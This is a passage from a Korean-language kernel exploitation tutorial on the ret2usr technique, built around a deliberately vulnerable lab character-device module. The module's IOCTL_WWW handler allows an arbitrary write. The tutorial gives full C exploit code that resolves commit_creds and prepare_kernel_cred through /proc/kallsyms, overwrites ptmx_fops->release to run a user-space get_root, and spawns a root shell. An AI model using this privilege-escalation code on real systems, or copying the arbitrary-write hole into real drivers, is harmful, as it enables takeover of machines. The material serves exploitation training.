...
Info | ||
---|---|---|
| ||
Return-to-user (ret2usr)
Example
Source code of module
- 해당 코드는 04.Creating a kernel module to privilege escalation 에서 사용한 코드에 다음 코드를 추가하였습니다.
- 추가된 코드는 다음과 같습니다.
- chardev_ioctl() 함수의 switch 분기문에 IOCTL_WWW를 추가하였습니다.
- 해당 분기문에서 chardev_ioctl() 함수의 세번째 인자값(arg)을 ioctl_www_arg 구조체로 형변환하여 para 변수에 값을 저장합니다.
para→ptr 주소 영역에 para→value의 값을 저장합니다.
- 해당 코드로 인하여 공격자가 임의의 영역에 임이의 값을 저장할 수 있게됩니다.
- chardev_ioctl() 함수의 switch 분기문에 IOCTL_WWW를 추가하였습니다.
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Kernel/Exploit/www$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Kernel/Exploit/www$ |
...
Proof of Concept
PoC code
취약성을 확인하기 위해 test.c를 사용하며, 기능은 다음과 같습니다.
"/dev/chardev0" 디바이스 파일을 열어서, ioctl함수를 이용하여 "IOCTL_WWW" 매크로를 호출합니다.
- 해당 매크로에 전달된 인자 값은 다음과 같습니다.
- arg.ptr = 0x4141414141414141
- arg.value = 0x4242424242424242
- 0x4141414141414141 영역에 0x4242424242424242 값을 덮어서 쓸 수 있는지 확인하려고 합니다.
...
Code Block | ||||
---|---|---|---|---|
| ||||
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include "chardev.h" #define DEVICE_FILE_NAME "/dev/chardev0" void *(*prepare_kernel_cred)(void *) ; int (*commit_creds)(void *) ; unsigned long *ptmx_fops_release; void *kallsym_getaddr(char *name) { FILE *fp; void *addr; char sym[512]; fp = fopen("/proc/kallsyms", "r"); while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) { if (strcmp(sym, name) == 0) { break; }else{ addr = NULL; } } fclose(fp); return addr; } void get_root() { commit_creds(prepare_kernel_cred(NULL)); } int main() { int fd; int ret_val; void *ptmx_fops; struct ioctl_www_arg arg; //Find the address of "prepare_kernel_cred()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("prepare_kernel_cred = %p\n", prepare_kernel_cred); printf("commit_creds = %p\n", commit_creds); //Find the address of "static struct file_operations ptmx_fops" ptmx_fops = kallsym_getaddr("ptmx_fops"); printf("ptmx_fops = %p\n", ptmx_fops); ptmx_fops_release = ptmx_fops + sizeof(void *) * 13; fd = open(DEVICE_FILE_NAME, 0); if (fd < 0) { printf("Can't open device file: %s\n", DEVICE_FILE_NAME); return 0; } //Overwrite the "ptmx_fops → release" area arg.ptr = ptmx_fops_release; arg.value = (unsigned long)get_root; ret_val = ioctl(fd, IOCTL_WWW, &arg); if (ret_val < 0) { printf("ioctl failed: %d\n", ret_val); return 0; } close(fd); //open /dev/ptmx and call ptmx_fops->release() via close() fd = open("/dev/ptmx", 0); close(fd); printf("getuid() = %d\n", getuid()); execl("/bin/sh", "sh", NULL); } |
...